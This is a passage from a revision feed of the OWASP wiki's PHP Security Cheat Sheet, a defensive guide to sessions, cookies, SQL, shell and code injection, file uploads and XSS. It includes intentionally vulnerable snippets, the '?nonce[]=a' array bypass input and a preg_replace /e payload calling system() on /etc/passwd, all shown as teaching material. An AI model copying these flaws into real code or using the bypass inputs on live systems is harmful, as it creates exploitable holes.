&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=189378</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=189378"/>
				<updated>2015-02-10T12:09:29Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* URL routing */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than simply function definitions.&lt;br /&gt;
&lt;br /&gt;
* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate athorization restrictions on different request handling functionality.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_FILES&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$_COOKIE&amp;lt;/code&amp;gt;. Not all data in &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt; can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with &amp;lt;code&amp;gt;HTTP_&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
